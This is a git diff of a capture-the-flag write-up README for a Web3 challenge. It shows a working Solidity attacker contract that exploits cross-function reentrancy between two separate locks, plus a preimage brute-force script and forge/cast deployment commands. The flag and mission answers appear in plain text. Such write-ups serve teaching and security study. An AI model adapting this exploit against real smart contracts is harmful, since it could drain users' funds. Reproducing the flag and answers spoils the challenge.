write-up: Web3/GANTZ_BALL_CONTRACT/README.md
This commit is contained in:
parent
9a56e942fc
commit
3185f990e8
@ -1,50 +1,113 @@
|
|||||||
# GANTZ_BALL_CONTRACT — Solution
|
# GANTZ_BALL_CONTRACT
|
||||||
|
|
||||||
**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
|
| Field | Value |
|
||||||
|
|-------|-------|
|
||||||
|
| Category | Web3 |
|
||||||
|
| Difficulty | Insane |
|
||||||
|
| Points | 500 |
|
||||||
|
| Author | Eun0us |
|
||||||
|
| CTF | Espilon 2026 |
|
||||||
|
|
||||||
## Overview
|
---
|
||||||
|
|
||||||
Bytecode-only Solidity challenge. No source code is provided — you must reverse
|
## Description
|
||||||
the EVM bytecode to find a **cross-function reentrancy** vulnerability caused by
|
|
||||||
two separate reentrancy guards instead of one global lock.
|
|
||||||
|
|
||||||
## Architecture
|
The Black Sphere runs a smart contract that tracks hunter scores. Kill aliens, earn points.
|
||||||
|
Reach **100 points** and claim your freedom.
|
||||||
|
|
||||||
- Port 1337/tcp: console (commands: `info`, `bytecode`, `check`)
|
But there's a catch: **no source code**. Only the deployed bytecode.
|
||||||
- Port 8545/tcp: Ethereum JSON-RPC node
|
|
||||||
|
|
||||||
## Step 1 — Reverse the bytecode
|
- `nc espilon.net 1337` — Challenge console
|
||||||
|
- `http://espilon.net:8545` — Anvil RPC endpoint
|
||||||
|
|
||||||
|
Reverse the bytecode. Understand the scoring mechanism. Find the exploit. Claim your 100 points.
|
||||||
|
Escape the game.
|
||||||
|
|
||||||
|
*"Nobody said you had to play fair."*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
Decompile the bytecode to recover the ABI. Find that the contract uses two separate reentrancy
|
||||||
|
guards (`_stakeLock` and `_rewardLock`) instead of a single global lock. While inside `unstake()`,
|
||||||
|
`_stakeLock=1` but `_rewardLock=0` — enabling cross-function reentrancy into `claimReward()`.
|
||||||
|
Brute-force 4 mission proof preimages. Deploy an attacker contract that earns 110 points, stakes
|
||||||
|
100, then re-enters `claimReward()` from the `receive()` callback during `unstake()`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| Dedaub / Heimdall / Panoramix | EVM bytecode decompilation |
|
||||||
|
| Foundry (`forge`, `cast`) | Contract deployment and interaction |
|
||||||
|
| Python 3 + `web3.py` | Storage slot computation for preimage brute-force |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
### Step 1 — Get the bytecode
|
||||||
|
|
||||||
```text
|
```text
|
||||||
|
nc <host> 1337
|
||||||
bytecode
|
bytecode
|
||||||
```
|
```
|
||||||
|
|
||||||
Decompile with Dedaub / Heimdall / Panoramix. Recover:
|
> 📸 `[screenshot: console showing the deployed bytecode hex]`
|
||||||
|
|
||||||
- `register()` — enroll as a hunter
|
### Step 2 — Decompile
|
||||||
- `claimKill(uint256 missionId, string proof)` — earn points per mission
|
|
||||||
- `stakePoints(uint256 amount)` — stake points, deposit ETH (1 pt = 0.001 ETH)
|
|
||||||
- `unstake()` — withdraw ETH, restore points
|
|
||||||
- `claimReward()` — claim reward if `points + stakedPoints >= 100`
|
|
||||||
|
|
||||||
**Key finding:** the contract uses two separate guards: `_stakeLock` (protects
|
Submit bytecode to Dedaub (app.dedaub.com) or run Heimdall:
|
||||||
`stakePoints`/`unstake`) and `_rewardLock` (protects `claimReward`). While inside
|
|
||||||
`unstake()`, `_stakeLock=1` but `_rewardLock=0` — allowing re-entry into
|
|
||||||
`claimReward()` before `stakedPoints` is zeroed.
|
|
||||||
|
|
||||||
## Step 2 — Find mission proofs
|
```bash
|
||||||
|
heimdall decompile <bytecode_hex>
|
||||||
|
```
|
||||||
|
|
||||||
From contract storage, extract the four `keccak256` target hashes.
|
Recovered functions:
|
||||||
Brute-force short string preimages:
|
|
||||||
|
|
||||||
| Mission | Points | Proof |
|
| Function | Signature |
|
||||||
|---------|--------|---------------|
|
|----------|-----------|
|
||||||
| 0 | 20 | `onion_alien` |
|
| `register()` | Enroll as a hunter |
|
||||||
| 1 | 25 | `tanaka_alien` |
|
| `claimKill(uint256, string)` | Earn points per mission |
|
||||||
| 2 | 30 | `buddha_alien` |
|
| `stakePoints(uint256)` payable | Stake points, deposit ETH (1 pt = 0.001 ETH) |
|
||||||
| 3 | 35 | `boss_alien` |
|
| `unstake()` | Withdraw ETH, restore points |
|
||||||
|
| `claimReward()` | Claim reward if `points + stakedPoints >= 100` |
|
||||||
|
|
||||||
## Step 3 — Deploy attacker contract
|
**Critical finding:** two separate guards `_stakeLock` (slot protecting `stakePoints`/`unstake`)
|
||||||
|
and `_rewardLock` (protecting `claimReward`). During `unstake()`, `_stakeLock=1` but
|
||||||
|
`_rewardLock=0` — the window for cross-function reentrancy.
|
||||||
|
|
||||||
|
> 📸 `[screenshot: decompiler output showing two separate reentrancy guard variables]`
|
||||||
|
|
||||||
|
### Step 3 — Find the mission proof preimages
|
||||||
|
|
||||||
|
From contract storage, extract 4 `keccak256` target hashes, then brute-force:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from web3 import Web3
|
||||||
|
|
||||||
|
targets = [...] # 4 keccak256 hashes from storage
|
||||||
|
|
||||||
|
wordlist = ["onion_alien", "tanaka_alien", "buddha_alien", "boss_alien",
|
||||||
|
"cat_alien", "dog_alien", "fish_alien"]
|
||||||
|
|
||||||
|
for word in wordlist:
|
||||||
|
h = Web3.keccak(text=word).hex()
|
||||||
|
if h in targets:
|
||||||
|
print(f"Found: {word}")
|
||||||
|
```
|
||||||
|
|
||||||
|
| Mission | Points | Proof |
|
||||||
|
|---------|--------|-------|
|
||||||
|
| 0 | 20 | `onion_alien` |
|
||||||
|
| 1 | 25 | `tanaka_alien` |
|
||||||
|
| 2 | 30 | `buddha_alien` |
|
||||||
|
| 3 | 35 | `boss_alien` |
|
||||||
|
|
||||||
|
### Step 4 — Deploy the attacker contract
|
||||||
|
|
||||||
```solidity
|
```solidity
|
||||||
// SPDX-License-Identifier: MIT
|
// SPDX-License-Identifier: MIT
|
||||||
@ -71,20 +134,19 @@ contract GantzExploit {
|
|||||||
ball.claimKill(2, "buddha_alien"); // +30 → 75 pts
|
ball.claimKill(2, "buddha_alien"); // +30 → 75 pts
|
||||||
ball.claimKill(3, "boss_alien"); // +35 → 110 pts
|
ball.claimKill(3, "boss_alien"); // +35 → 110 pts
|
||||||
|
|
||||||
|
// Stake 100 points: points=10, stakedPoints=100
|
||||||
ball.stakePoints{value: 0.1 ether}(100);
|
ball.stakePoints{value: 0.1 ether}(100);
|
||||||
// Now: points=10, stakedPoints=100
|
|
||||||
|
|
||||||
attacking = true;
|
attacking = true;
|
||||||
ball.unstake();
|
ball.unstake();
|
||||||
// In receive(): stakedPoints=100 not yet zeroed → claimReward passes
|
// In receive(): stakedPoints=100 not yet zeroed → claimReward passes (10+100=110>=100)
|
||||||
}
|
}
|
||||||
|
|
||||||
receive() external payable {
|
receive() external payable {
|
||||||
if (attacking) {
|
if (attacking) {
|
||||||
attacking = false;
|
attacking = false;
|
||||||
// _stakeLock=1 but _rewardLock=0 → cross-function reentrancy
|
// _stakeLock=1 but _rewardLock=0 → cross-function reentrancy succeeds
|
||||||
ball.claimReward();
|
ball.claimReward();
|
||||||
// points(10) + stakedPoints(100) = 110 >= 100 ✓
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -102,23 +164,30 @@ cast send <EXPLOIT_ADDR> 'exploit()' \
|
|||||||
--private-key <PLAYER_KEY>
|
--private-key <PLAYER_KEY>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Step 4 — Get the flag
|
> 📸 `[screenshot: forge deploy and cast send commands completing successfully]`
|
||||||
|
|
||||||
|
### Step 5 — Get the flag
|
||||||
|
|
||||||
```text
|
```text
|
||||||
|
nc <host> 1337
|
||||||
check
|
check
|
||||||
```
|
```
|
||||||
|
|
||||||
## Key Concepts
|
> 📸 `[screenshot: console printing the flag after successful reentrancy exploit]`
|
||||||
|
|
||||||
- **EVM bytecode reversal**: No source code — must recover ABI and logic from opcodes
|
### Key concepts
|
||||||
- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function boundaries
|
|
||||||
- **Storage layout**: Dynamic arrays, mappings, and packed slots follow deterministic Solidity layout rules
|
- **EVM bytecode reversal**: No source code — recover ABI and logic from raw opcodes
|
||||||
|
- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function
|
||||||
|
boundaries — a classic vulnerability missed when developers use per-function guards
|
||||||
|
instead of a global reentrancy lock
|
||||||
- **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force
|
- **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force
|
||||||
|
against known hashes stored in contract storage
|
||||||
|
- **Storage layout**: Dynamic array elements, mappings, and packed slots follow deterministic
|
||||||
|
Solidity storage layout rules
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Flag
|
## Flag
|
||||||
|
|
||||||
`ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
|
`ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
|
||||||
|
|
||||||
## Author
|
|
||||||
|
|
||||||
Eun0us
|
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user